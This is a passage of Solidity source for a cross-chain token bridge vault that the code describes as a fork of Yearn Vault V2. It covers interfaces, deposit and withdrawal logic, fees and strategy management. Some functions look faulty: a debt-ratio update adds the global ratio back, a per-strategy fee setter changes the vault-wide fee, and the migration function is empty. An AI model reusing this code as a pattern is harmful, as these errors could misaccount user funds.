function withdrawLimitPerPeriod() external view returns (uint256);
function undeclaredWithdrawLimit() external view returns (uint256);
function withdrawalPeriods(
uint256 withdrawalPeriodId
) external view returns (WithdrawalPeriodParams memory);
function depositLimit() external view returns (uint256);
function debtRatio() external view returns (uint256);
function totalDebt() external view returns (uint256);
function lastReport() external view returns (uint256);
function lockedProfit() external view returns (uint256);
function lockedProfitDegradation() external view returns (uint256);
function setWithdrawGuardian(address _withdrawGuardian) external;
function setStrategyRewards(
address strategyId,
EverscaleAddress memory _rewards
) external;
function setLockedProfitDegradation(uint256 degradation) external;
function setDepositLimit(uint256 limit) external;
function setPerformanceFee(uint256 fee) external;
function setManagementFee(uint256 fee) external;
function setWithdrawLimitPerPeriod(uint256 _withdrawLimitPerPeriod) external;
function setUndeclaredWithdrawLimit(uint256 _undeclaredWithdrawLimit) external;
function setWithdrawalQueue(address[20] memory queue) external;
function setPendingWithdrawalBounty(uint256 id, uint256 bounty) external;
function deposit(
EverscaleAddress memory recipient,
uint256 amount,
PendingWithdrawalId memory pendingWithdrawalId
) external;
function deposit(
EverscaleAddress memory recipient,
uint256[] memory amount,
PendingWithdrawalId[] memory pendingWithdrawalId
) external;
function depositToFactory(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes memory level3
) external;
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures
) external returns (
bool instantWithdrawal,
PendingWithdrawalId memory pendingWithdrawalId
);
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures,
uint bounty
) external;
function cancelPendingWithdrawal(
uint256 id,
uint256 amount,
EverscaleAddress memory recipient,
uint bounty
) external;
function withdraw(
uint256 id,
uint256 amountRequested,
address recipient,
uint256 maxLoss,
uint bounty
) external returns(uint256);
function addStrategy(
address strategyId,
uint256 _debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 _performanceFee
) external;
function updateStrategyDebtRatio(
address strategyId,
uint256 _debtRatio
) external;
function updateStrategyMinDebtPerHarvest(
address strategyId,
uint256 minDebtPerHarvest
) external;
function updateStrategyMaxDebtPerHarvest(
address strategyId,
uint256 maxDebtPerHarvest
) external;
function updateStrategyPerformanceFee(
address strategyId,
uint256 _performanceFee
) external;
function migrateStrategy(
address oldVersion,
address newVersion
) external;
function revokeStrategy(
address strategyId
) external;
function revokeStrategy() external;
function totalAssets() external view returns (uint256);
function debtOutstanding(address strategyId) external view returns (uint256);
function debtOutstanding() external view returns (uint256);
function creditAvailable(address strategyId) external view returns (uint256);
function creditAvailable() external view returns (uint256);
function availableDepositLimit() external view returns (uint256);
function expectedReturn(address strategyId) external view returns (uint256);
function report(
uint256 profit,
uint256 loss,
uint256 _debtPayment
) external returns (uint256);
function skim(address strategyId) external;
function forceWithdraw(
PendingWithdrawalId memory pendingWithdrawalId
) external;
function forceWithdraw(
PendingWithdrawalId[] memory pendingWithdrawalId
) external;
function setPendingWithdrawalApprove(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
) external;
function setPendingWithdrawalApprove(
PendingWithdrawalId[] memory pendingWithdrawalId,
ApproveStatus[] memory approveStatus
) external;
event PendingWithdrawalUpdateBounty(address recipient, uint256 id, uint256 bounty);
event PendingWithdrawalCancel(address recipient, uint256 id, uint256 amount);
event PendingWithdrawalForce(address recipient, uint256 id);
event PendingWithdrawalCreated(
address recipient,
uint256 id,
uint256 amount,
bytes32 payloadId
);
event PendingWithdrawalWithdraw(
address recipient,
uint256 id,
uint256 requestedAmount,
uint256 redeemedAmount
);
event PendingWithdrawalUpdateApproveStatus(
address recipient,
uint256 id,
ApproveStatus approveStatus
);
event UpdateWithdrawLimitPerPeriod(uint256 withdrawLimitPerPeriod);
event UpdateUndeclaredWithdrawLimit(uint256 undeclaredWithdrawLimit);
event UpdateDepositLimit(uint256 depositLimit);
event UpdatePerformanceFee(uint256 performanceFee);
event UpdateManagementFee(uint256 managenentFee);
event UpdateWithdrawGuardian(address withdrawGuardian);
event UpdateWithdrawalQueue(address[20] queue);
event StrategyUpdateDebtRatio(address indexed strategy, uint256 debtRatio);
event StrategyUpdateMinDebtPerHarvest(address indexed strategy, uint256 minDebtPerHarvest);
event StrategyUpdateMaxDebtPerHarvest(address indexed strategy, uint256 maxDebtPerHarvest);
event StrategyUpdatePerformanceFee(address indexed strategy, uint256 performanceFee);
event StrategyMigrated(address indexed oldVersion, address indexed newVersion);
event StrategyRevoked(address indexed strategy);
event StrategyRemovedFromQueue(address indexed strategy);
event StrategyAddedToQueue(address indexed strategy);
event StrategyReported(
address indexed strategy,
uint256 gain,
uint256 loss,
uint256 debtPaid,
uint256 totalGain,
uint256 totalSkim,
uint256 totalLoss,
uint256 totalDebt,
uint256 debtAdded,
uint256 debtRatio
);
event StrategyAdded(
address indexed strategy,
uint256 debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 performanceFee
);
event StrategyUpdateRewards(
address strategyId,
int128 wid,
uint256 addr
);
event UserDeposit(
address sender,
int128 recipientWid,
uint256 recipientAddr,
uint256 amount,
address withdrawalRecipient,
uint256 withdrawalId,
uint256 bounty
);
event FactoryDeposit(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes1 separator,
bytes level3
);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "../IEverscale.sol";
interface IVaultBasic is IEverscale {
struct WithdrawalParams {
EverscaleAddress sender;
uint256 amount;
address recipient;
uint32 chainId;
}
function bridge() external view returns (address);
function configuration() external view returns (EverscaleAddress memory);
function withdrawalIds(bytes32) external view returns (bool);
function rewards() external view returns (EverscaleAddress memory);
function governance() external view returns (address);
function guardian() external view returns (address);
function management() external view returns (address);
function token() external view returns (address);
function targetDecimals() external view returns (uint256);
function tokenDecimals() external view returns (uint256);
function depositFee() external view returns (uint256);
function withdrawFee() external view returns (uint256);
function emergencyShutdown() external view returns (bool);
function apiVersion() external view returns (string memory api_version);
function setDepositFee(uint _depositFee) external;
function setWithdrawFee(uint _withdrawFee) external;
function setConfiguration(EverscaleAddress memory _configuration) external;
function setGovernance(address _governance) external;
function acceptGovernance() external;
function setGuardian(address _guardian) external;
function setManagement(address _management) external;
function setRewards(EverscaleAddress memory _rewards) external;
function setEmergencyShutdown(bool active) external;
function deposit(
EverscaleAddress memory recipient,
uint256 amount
) external;
function decodeWithdrawalEventData(
bytes memory eventData
) external view returns(WithdrawalParams memory);
function sweep(address _token) external;
// Events
event Deposit(
uint256 amount,
int128 wid,
uint256 addr
);
event InstantWithdrawal(
bytes32 payloadId,
address recipient,
uint256 amount
);
event UpdateBridge(address bridge);
event UpdateConfiguration(int128 wid, uint256 addr);
event UpdateTargetDecimals(uint256 targetDecimals);
event UpdateRewards(int128 wid, uint256 addr);
event UpdateDepositFee(uint256 fee);
event UpdateWithdrawFee(uint256 fee);
event UpdateGovernance(address governance);
event UpdateManagement(address management);
event NewPendingGovernance(address governance);
event UpdateGuardian(address guardian);
event EmergencyShutdown(bool active);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
pragma experimental ABIEncoderV2;
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../libraries/Math.sol";
import "../interfaces/vault/IVault.sol";
import "../interfaces/IBridge.sol";
import "../interfaces/IStrategy.sol";
import "../interfaces/IERC20Metadata.sol";
import "./VaultHelpers.sol";
string constant API_VERSION = '0.1.7';
/// @title Vault contract. Entry point for the Octus bridge cross chain token transfers.
/// @dev Fork of the Yearn Vault V2 contract, rewritten in Solidity.
/// @author https://github.com/broxus
contract Vault is IVault, VaultHelpers {
using SafeERC20 for IERC20;
function initialize(
address _token,
address _bridge,
address _governance,
uint _targetDecimals,
EverscaleAddress memory _rewards
) external override initializer {
bridge = _bridge;
emit UpdateBridge(bridge);
governance = _governance;
emit UpdateGovernance(governance);
rewards_ = _rewards;
emit UpdateRewards(rewards_.wid, rewards_.addr);
performanceFee = 0;
emit UpdatePerformanceFee(0);
managementFee = 0;
emit UpdateManagementFee(0);
withdrawFee = 0;
emit UpdateWithdrawFee(0);
depositFee = 0;
emit UpdateDepositFee(0);
token = _token;
tokenDecimals = IERC20Metadata(token).decimals();
targetDecimals = _targetDecimals;
}
/**
@notice Vault API version. Used to track the deployed version of this contract.
@return api_version Current API version
*/
function apiVersion()
external
override
pure
returns (string memory api_version)
{
return API_VERSION;
}
/**
@notice Set deposit fee. Must be less than `MAX_BPS`.
This may be called only by `governance` or `management`.
@param _depositFee Deposit fee, must be less than `MAX_BPS / 2`.
*/
function setDepositFee(
uint _depositFee
) external override onlyGovernanceOrManagement {
require(_depositFee <= MAX_BPS / 2);
depositFee = _depositFee;
emit UpdateDepositFee(depositFee);
}
/**
@notice Set withdraw fee. Must be less than `MAX_BPS`.
This may be called only by `governance` or `management`
@param _withdrawFee Withdraw fee, must be less than `MAX_BPS / 2`.
*/
function setWithdrawFee(
uint _withdrawFee
) external override onlyGovernanceOrManagement {
require(_withdrawFee <= MAX_BPS / 2);
withdrawFee = _withdrawFee;
emit UpdateWithdrawFee(withdrawFee);
}
/// @notice Set configuration_ address.
/// @param _configuration The address to use for configuration_.
function setConfiguration(
EverscaleAddress memory _configuration
) external override onlyGovernance {
configuration_ = _configuration;
emit UpdateConfiguration(configuration_.wid, configuration_.addr);
}
/// @notice Nominate new address to use as a governance.
/// The change does not go into effect immediately. This function sets a
/// pending change, and the governance address is not updated until
/// the proposed governance address has accepted the responsibility.
/// This may only be called by the `governance`.
/// @param _governance The address requested to take over Vault governance.
function setGovernance(
address _governance
) external override onlyGovernance {
pendingGovernance = _governance;
emit NewPendingGovernance(pendingGovernance);
}
/// @notice Once a new governance address has been proposed using `setGovernance`,
/// this function may be called by the proposed address to accept the
/// responsibility of taking over governance for this contract.
/// This may only be called by the `pendingGovernance`.
function acceptGovernance()
external
override
onlyPendingGovernance
{
governance = pendingGovernance;
emit UpdateGovernance(governance);
}
/// @notice Changes the management address.
/// This may only be called by `governance`
/// @param _management The address to use for management.
function setManagement(
address _management
)
external
override
onlyGovernance
{
management = _management;
emit UpdateManagement(management);
}
/// @notice Changes the address of `guardian`.
/// This may only be called by `governance` or `guardian`.
/// @param _guardian The new guardian address to use.
function setGuardian(
address _guardian
) external override onlyGovernanceOrGuardian {
guardian = _guardian;
emit UpdateGuardian(guardian);
}
/// @notice Changes the address of `withdrawGuardian`.
/// This may only be called by `governance` or `withdrawGuardian`.
/// @param _withdrawGuardian The new withdraw guardian address to use.
function setWithdrawGuardian(
address _withdrawGuardian
) external override onlyGovernanceOrWithdrawGuardian {
withdrawGuardian = _withdrawGuardian;
emit UpdateWithdrawGuardian(withdrawGuardian);
}
/// @notice Set strategy rewards_ recipient address.
/// This may only be called by the `governance` or strategy rewards_ manager.
/// @param strategyId Strategy address.
/// @param _rewards Rewards recipient.
function setStrategyRewards(
address strategyId,
EverscaleAddress memory _rewards
)
external
override
onlyGovernanceOrStrategyRewardsManager(strategyId)
strategyExists(strategyId)
{
_strategyRewardsUpdate(strategyId, _rewards);
emit StrategyUpdateRewards(strategyId, _rewards.wid, _rewards.addr);
}
/// @notice Set address to receive rewards_ (fees, gains, etc)
/// This may be called only by `governance`
/// @param _rewards Rewards receiver in Everscale network
function setRewards(
EverscaleAddress memory _rewards
) external override onlyGovernance {
rewards_ = _rewards;
emit UpdateRewards(rewards_.wid, rewards_.addr);
}
/// @notice Changes the locked profit degradation
/// @param degradation The rate of degradation in percent per second scaled to 1e18
function setLockedProfitDegradation(
uint256 degradation
) external override onlyGovernance {
require(degradation <= DEGRADATION_COEFFICIENT);
lockedProfitDegradation = degradation;
}
/// @notice Changes the maximum amount of `token` that can be deposited in this Vault
/// Note, this is not how much may be deposited by a single depositor,
/// but the maximum amount that may be deposited across all depositors.
/// This may be called only by `governance`
/// @param limit The new deposit limit to use.
function setDepositLimit(
uint256 limit
) external override onlyGovernance {
depositLimit = limit;
emit UpdateDepositLimit(depositLimit);
}
/// @notice Changes the value of `performanceFee`.
/// Should set this value below the maximum strategist performance fee.
/// This may only be called by `governance`.
/// @param fee The new performance fee to use.
function setPerformanceFee(
uint256 fee
) external override onlyGovernance {
require(fee <= MAX_BPS / 2);
performanceFee = fee;
emit UpdatePerformanceFee(performanceFee);
}
/// @notice Changes the value of `managementFee`.
/// This may only be called by `governance`.
/// @param fee The new management fee to use.
function setManagementFee(
uint256 fee
) external override onlyGovernance {
require(fee <= MAX_BPS);
managementFee = fee;
emit UpdateManagementFee(managementFee);
}
/// @notice Changes the value of `withdrawLimitPerPeriod`
/// This may only be called by `governance`
/// @param _withdrawLimitPerPeriod The new withdraw limit per period to use.
function setWithdrawLimitPerPeriod(
uint256 _withdrawLimitPerPeriod
) external override onlyGovernance {
withdrawLimitPerPeriod = _withdrawLimitPerPeriod;
emit UpdateWithdrawLimitPerPeriod(withdrawLimitPerPeriod);
}
/// @notice Changes the value of `undeclaredWithdrawLimit`
/// This may only be called by `governance`
/// @param _undeclaredWithdrawLimit The new undeclared withdraw limit to use.
function setUndeclaredWithdrawLimit(
uint256 _undeclaredWithdrawLimit
) external override onlyGovernance {
undeclaredWithdrawLimit = _undeclaredWithdrawLimit;
emit UpdateUndeclaredWithdrawLimit(undeclaredWithdrawLimit);
}
/// @notice Activates or deactivates Vault emergency mode, where all Strategies go into full withdrawal.
/// During emergency shutdown:
/// - Deposits are disabled
/// - Withdrawals are disabled (all types of withdrawals)
/// - Each Strategy must pay back their debt as quickly as reasonable to minimally affect their position
/// - Only `governance` may undo Emergency Shutdown
/// This may only be called by `governance` or `guardian`.
/// @param active If `true`, the Vault goes into Emergency Shutdown. If `false`, the Vault goes back into
/// Normal Operation.
function setEmergencyShutdown(
bool active
) external override {
if (active) {
require(msg.sender == guardian || msg.sender == governance);
} else {
require(msg.sender == governance);
}
emergencyShutdown = active;
emit EmergencyShutdown(active);
}
/// @notice Changes `withdrawalQueue`
/// This may only be called by `governance`
function setWithdrawalQueue(
address[20] memory queue
) external override onlyGovernanceOrManagement {
withdrawalQueue_ = queue;
emit UpdateWithdrawalQueue(withdrawalQueue_);
}
/**
@notice Changes pending withdrawal bounty for specific pending withdrawal
@param id Pending withdrawal ID.
@param bounty The new value for pending withdrawal bounty.
*/
function setPendingWithdrawalBounty(
uint256 id,
uint256 bounty
)
public
override
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(PendingWithdrawalId(msg.sender, id));
require(bounty <= pendingWithdrawal.amount);
_pendingWithdrawalBountyUpdate(PendingWithdrawalId(msg.sender, id), bounty);
}
/// @notice Returns the total quantity of all assets under control of this
/// Vault, whether they're loaned out to a Strategy, or currently held in
/// the Vault.
/// @return The total assets under control of this Vault.
function totalAssets() external view override returns (uint256) {
return _totalAssets();
}
function _deposit(
EverscaleAddress memory recipient,
uint256 amount
) internal {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
uint256 fee = _calculateMovementFee(amount, depositFee);
_transferToEverscale(recipient, amount - fee);
if (fee > 0) _transferToEverscale(rewards_, fee);
}
/// @notice Deposits `token` into the Vault, leads to producing corresponding token
/// on the Everscale side.
/// @param recipient Recipient in the Everscale network
/// @param amount Amount of `token` to deposit
function deposit(
EverscaleAddress memory recipient,
uint256 amount
)
public
override
onlyEmergencyDisabled
respectDepositLimit(amount)
nonReentrant
{
_deposit(recipient, amount);
emit UserDeposit(msg.sender, recipient.wid, recipient.addr, amount, address(0), 0, 0);
}
/// @notice Same as regular `deposit`, but fills pending withdrawal.
/// Pending withdrawal recipient receives `pendingWithdrawal.amount - pendingWithdrawal.bounty`.
/// Deposit author receives `amount + pendingWithdrawal.bounty`.
/// @param recipient Deposit recipient in the Everscale network.
/// @param amount Amount of tokens to deposit.
/// @param pendingWithdrawalId Pending withdrawal ID to fill.
function deposit(
EverscaleAddress memory recipient,
uint256 amount,
PendingWithdrawalId memory pendingWithdrawalId
)
public
override
onlyEmergencyDisabled
respectDepositLimit(amount)
nonReentrant
pendingWithdrawalApproved(pendingWithdrawalId)
pendingWithdrawalOpened(pendingWithdrawalId)
{
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(amount >= pendingWithdrawal.amount);
_deposit(recipient, amount);
// Send bounty as additional transfer
_transferToEverscale(recipient, pendingWithdrawal.bounty);
uint redeemedAmount = pendingWithdrawal.amount - pendingWithdrawal.bounty;
_pendingWithdrawalAmountReduce(
pendingWithdrawalId,
pendingWithdrawal.amount
);
IERC20(token).safeTransfer(
pendingWithdrawalId.recipient,
redeemedAmount
);
emit UserDeposit(
msg.sender,
recipient.wid,
recipient.addr,
amount,
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
pendingWithdrawal.bounty
);
}
/**
@notice Multicall for `deposit`. Fills multiple pending withdrawals at once.
@param recipient Deposit recipient in the Everscale network.
@param amount List of amount
*/
function deposit(
EverscaleAddress memory recipient,
uint256[] memory amount,
PendingWithdrawalId[] memory pendingWithdrawalId
) external override {
require(amount.length == pendingWithdrawalId.length);
for (uint i = 0; i < amount.length; i++) {
deposit(recipient, amount[i], pendingWithdrawalId[i]);
}
}
function depositToFactory(
uint128 amount,
int8 wid,
uint256 user,
uint256 creditor,
uint256 recipient,
uint128 tokenAmount,
uint128 tonAmount,
uint8 swapType,
uint128 slippageNumerator,
uint128 slippageDenominator,
bytes memory level3
)
external
override
onlyEmergencyDisabled
respectDepositLimit(amount)
{
require(
tokenAmount <= amount &&
swapType < 2 &&
user != 0 &&
recipient != 0 &&
creditor != 0 &&
slippageNumerator < slippageDenominator
);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
uint256 fee = _calculateMovementFee(amount, depositFee);
if (fee > 0) _transferToEverscale(rewards_, fee);
emit FactoryDeposit(
uint128(convertToTargetDecimals(amount - fee)),
wid,
user,
creditor,
recipient,
tokenAmount,
tonAmount,
swapType,
slippageNumerator,
slippageDenominator,
0x07,
level3
);
}
/**
@notice Save withdrawal receipt. If Vault has enough tokens and withdrawal passes the
limits, then it's executed immediately. Otherwise it's saved as a pending withdrawal.
@param payload Withdrawal receipt. Bytes encoded `struct EverscaleEvent`.
@param signatures List of relay's signatures. See not on `Bridge.verifySignedEverscaleEvent`.
@return instantWithdrawal Boolean, was withdrawal instantly filled or saved as a pending withdrawal.
@return pendingWithdrawalId Pending withdrawal ID. `(address(0), 0)` if no pending withdrawal was created.
*/
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures
)
public
override
onlyEmergencyDisabled
withdrawalNotSeenBefore(payload)
returns (bool instantWithdrawal, PendingWithdrawalId memory pendingWithdrawalId)
{
require(
IBridge(bridge).verifySignedEverscaleEvent(payload, signatures) == 0,
"Vault: signatures verification failed"
);
// Decode Everscale event
(EverscaleEvent memory _event) = abi.decode(payload, (EverscaleEvent));
require(
_event.configurationWid == configuration_.wid &&
_event.configurationAddress == configuration_.addr
);
bytes32 payloadId = keccak256(payload);
// Decode event data
WithdrawalParams memory withdrawal = decodeWithdrawalEventData(_event.eventData);
require(withdrawal.chainId == _getChainID());
// Ensure withdrawal fee
uint256 fee = _calculateMovementFee(withdrawal.amount, withdrawFee);
if (fee > 0) _transferToEverscale(rewards_, fee);
// Consider withdrawal period limit
WithdrawalPeriodParams memory withdrawalPeriod = _withdrawalPeriod(_event.eventTimestamp);
_withdrawalPeriodIncreaseTotalByTimestamp(_event.eventTimestamp, withdrawal.amount);
bool withdrawalLimitsPassed = _withdrawalPeriodCheckLimitsPassed(withdrawal.amount, withdrawalPeriod);
// Withdrawal is less than limits and Vault's token balance is enough for instant withdrawal
if (withdrawal.amount <= _vaultTokenBalance() && withdrawalLimitsPassed) {
IERC20(token).safeTransfer(withdrawal.recipient, withdrawal.amount - fee);
emit InstantWithdrawal(payloadId, withdrawal.recipient, withdrawal.amount - fee);
return (true, PendingWithdrawalId(address(0), 0));
}
// Save withdrawal as a pending
uint256 id = _pendingWithdrawalCreate(
withdrawal.recipient,
withdrawal.amount - fee,
_event.eventTimestamp
);
emit PendingWithdrawalCreated(withdrawal.recipient, id, withdrawal.amount - fee, payloadId);
pendingWithdrawalId = PendingWithdrawalId(withdrawal.recipient, id);
if (!withdrawalLimitsPassed) {
_pendingWithdrawalApproveStatusUpdate(pendingWithdrawalId, ApproveStatus.Required);
}
return (false, pendingWithdrawalId);
}
/**
@notice Save withdrawal receipt, same as `saveWithdraw(bytes payload, bytes[] signatures)`,
but allows to immediately set up bounty.
@param payload Withdrawal receipt. Bytes encoded `struct EverscaleEvent`.
@param signatures List of relay's signatures. See not on `Bridge.verifySignedEverscaleEvent`.
@param bounty New value for pending withdrawal bounty.
*/
function saveWithdraw(
bytes memory payload,
bytes[] memory signatures,
uint bounty
)
external
override
{
(
bool instantWithdraw,
PendingWithdrawalId memory pendingWithdrawalId
) = saveWithdraw(payload, signatures);
if (!instantWithdraw) {
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require (bounty <= pendingWithdrawal.amount);
_pendingWithdrawalBountyUpdate(pendingWithdrawalId, bounty);
}
}
/**
@notice Cancel pending withdrawal partially or completely.
This may only be called by pending withdrawal recipient.
@param id Pending withdrawal ID
@param amount Amount to cancel, should be less or equal than pending withdrawal amount
@param recipient Tokens recipient, in Everscale network
@param bounty New value for bounty
*/
function cancelPendingWithdrawal(
uint256 id,
uint256 amount,
EverscaleAddress memory recipient,
uint bounty
)
external
override
onlyEmergencyDisabled
pendingWithdrawalApproved(PendingWithdrawalId(msg.sender, id))
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
{
PendingWithdrawalId memory pendingWithdrawalId = PendingWithdrawalId(msg.sender, id);
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(amount > 0 && amount <= pendingWithdrawal.amount);
_transferToEverscale(recipient, amount);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, amount);
emit PendingWithdrawalCancel(msg.sender, id, amount);
setPendingWithdrawalBounty(id, bounty);
}
/**
@notice Withdraws the calling account's pending withdrawal from this Vault.
@param id Pending withdrawal ID.
@param amountRequested Amount of tokens to be withdrawn.
@param recipient The address to send the redeemed tokens.
@param maxLoss The maximum acceptable loss to sustain on withdrawal.
If a loss is specified, up to that amount of tokens may be burnt to cover losses on withdrawal.
@param bounty New value for bounty.
@return amountAdjusted The quantity of tokens redeemed.
*/
function withdraw(
uint256 id,
uint256 amountRequested,
address recipient,
uint256 maxLoss,
uint256 bounty
)
external
override
onlyEmergencyDisabled
pendingWithdrawalOpened(PendingWithdrawalId(msg.sender, id))
pendingWithdrawalApproved(PendingWithdrawalId(msg.sender, id))
returns(uint256 amountAdjusted)
{
PendingWithdrawalId memory pendingWithdrawalId = PendingWithdrawalId(msg.sender, id);
PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(pendingWithdrawalId);
require(
amountRequested > 0 &&
amountRequested <= pendingWithdrawal.amount &&
bounty <= pendingWithdrawal.amount - amountRequested
);
_pendingWithdrawalBountyUpdate(pendingWithdrawalId, bounty);
amountAdjusted = amountRequested;
if (amountAdjusted > _vaultTokenBalance()) {
uint256 totalLoss = 0;
for (uint i = 0; i < withdrawalQueue_.length; i++) {
address strategyId = withdrawalQueue_[i];
// We're done withdrawing
if (strategyId == address(0)) break;
uint256 vaultBalance = _vaultTokenBalance();
uint256 amountNeeded = amountAdjusted - vaultBalance;
// Don't withdraw more than the debt so that Strategy can still
// continue to work based on the profits it has
// This means that user will lose out on any profits that each
// Strategy in the queue would return on next harvest, benefiting others
amountNeeded = Math.min(
amountNeeded,
_strategy(strategyId).totalDebt
);
// Nothing to withdraw from this Strategy, try the next one
if (amountNeeded == 0) continue;
// Force withdraw value from each Strategy in the order set by governance
uint256 loss = IStrategy(strategyId).withdraw(amountNeeded);
uint256 withdrawn = _vaultTokenBalance() - vaultBalance;
// Withdrawer incurs any losses from liquidation
if (loss > 0) {
amountAdjusted -= loss;
totalLoss += loss;
_strategyReportLoss(strategyId, loss);
}
// Reduce the Strategy's debt by the value withdrawn ("realized returns")
// This doesn't add to returns as it's not earned by "normal means"
_strategyTotalDebtReduce(strategyId, withdrawn);
}
require(_vaultTokenBalance() >= amountAdjusted);
// This loss protection is put in place to revert if losses from
// withdrawing are more than what is considered acceptable.
require(
totalLoss <= maxLoss * (amountAdjusted + totalLoss) / MAX_BPS,
"Vault: loss too high"
);
}
IERC20(token).safeTransfer(recipient, amountAdjusted);
_pendingWithdrawalAmountReduce(pendingWithdrawalId, amountRequested);
emit PendingWithdrawalWithdraw(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
amountRequested,
amountAdjusted
);
return amountAdjusted;
}
/**
@notice Add a Strategy to the Vault
This may only be called by `governance`
@param strategyId The address of the Strategy to add.
@param _debtRatio The share of the total assets in the `vault that the `strategy` has access to.
@param minDebtPerHarvest Lower limit on the increase of debt since last harvest.
@param maxDebtPerHarvest Upper limit on the increase of debt since last harvest.
@param _performanceFee The fee the strategist will receive based on this Vault's performance.
*/
function addStrategy(
address strategyId,
uint256 _debtRatio,
uint256 minDebtPerHarvest,
uint256 maxDebtPerHarvest,
uint256 _performanceFee
)
external
override
onlyGovernance
onlyEmergencyDisabled
strategyNotExists(strategyId)
{
require(strategyId != address(0));
require(IStrategy(strategyId).vault() == address(this));
require(IStrategy(strategyId).want() == token);
require(debtRatio + _debtRatio <= MAX_BPS);
require(minDebtPerHarvest <= maxDebtPerHarvest);
require(_performanceFee <= MAX_BPS / 2);
_strategyCreate(strategyId, StrategyParams({
performanceFee: _performanceFee,
activation: block.timestamp,
debtRatio: _debtRatio,
minDebtPerHarvest: minDebtPerHarvest,
maxDebtPerHarvest: maxDebtPerHarvest,
lastReport: block.timestamp,
totalDebt: 0,
totalGain: 0,
totalSkim: 0,
totalLoss: 0,
rewardsManager: address(0),
rewards: rewards_
}));
emit StrategyAdded(strategyId, _debtRatio, minDebtPerHarvest, maxDebtPerHarvest, _performanceFee);
_debtRatioIncrease(_debtRatio);
}
/**
@notice Change the quantity of assets `strategy` may manage.
This may be called by `governance` or `management`.
@param strategyId The Strategy to update.
@param _debtRatio The quantity of assets `strategy` may now manage.
*/
function updateStrategyDebtRatio(
address strategyId,
uint256 _debtRatio
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
_debtRatioReduce(strategy.debtRatio);
_strategyDebtRatioUpdate(strategyId, _debtRatio);
_debtRatioIncrease(debtRatio);
require(debtRatio <= MAX_BPS);
emit StrategyUpdateDebtRatio(strategyId, _debtRatio);
}
function updateStrategyMinDebtPerHarvest(
address strategyId,
uint256 minDebtPerHarvest
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.maxDebtPerHarvest >= minDebtPerHarvest);
_strategyMinDebtPerHarvestUpdate(strategyId, minDebtPerHarvest);
emit StrategyUpdateMinDebtPerHarvest(strategyId, minDebtPerHarvest);
}
function updateStrategyMaxDebtPerHarvest(
address strategyId,
uint256 maxDebtPerHarvest
)
external
override
onlyGovernanceOrManagement
strategyExists(strategyId)
{
StrategyParams memory strategy = _strategy(strategyId);
require(strategy.minDebtPerHarvest <= maxDebtPerHarvest);
_strategyMaxDebtPerHarvestUpdate(strategyId, maxDebtPerHarvest);
emit StrategyUpdateMaxDebtPerHarvest(strategyId, maxDebtPerHarvest);
}
function updateStrategyPerformanceFee(
address strategyId,
uint256 _performanceFee
)
external
override
onlyGovernance
strategyExists(strategyId)
{
require(_performanceFee <= MAX_BPS / 2);
performanceFee = _performanceFee;
emit StrategyUpdatePerformanceFee(strategyId, _performanceFee);
}
function migrateStrategy(
address oldVersion,
address newVersion
)
external
override
onlyGovernance
strategyExists(oldVersion)
strategyNotExists(newVersion)
{
}
function revokeStrategy(
address strategyId
)
external
override
onlyStrategyOrGovernanceOrGuardian(strategyId)
{
_strategyRevoke(strategyId);
emit StrategyRevoked(strategyId);
}
function revokeStrategy()
external
override
onlyStrategyOrGovernanceOrGuardian(msg.sender)
{
_strategyRevoke(msg.sender);
emit StrategyRevoked(msg.sender);
}
function debtOutstanding(
address strategyId
)
external
view
override
returns (uint256)
{
return _strategyDebtOutstanding(strategyId);
}
function debtOutstanding()
external
view
override
returns (uint256)
{
return _strategyDebtOutstanding(msg.sender);
}
function creditAvailable(
address strategyId
)
external
view
override
returns (uint256)
{
return _strategyCreditAvailable(strategyId);
}
function creditAvailable()
external
view
override
returns (uint256)
{
return _strategyCreditAvailable(msg.sender);
}
function availableDepositLimit()
external
view
override
returns (uint256)
{
if (depositLimit > _totalAssets()) {
return depositLimit - _totalAssets();
}
return 0;
}
function expectedReturn(
address strategyId
)
external
override
view
returns (uint256)
{
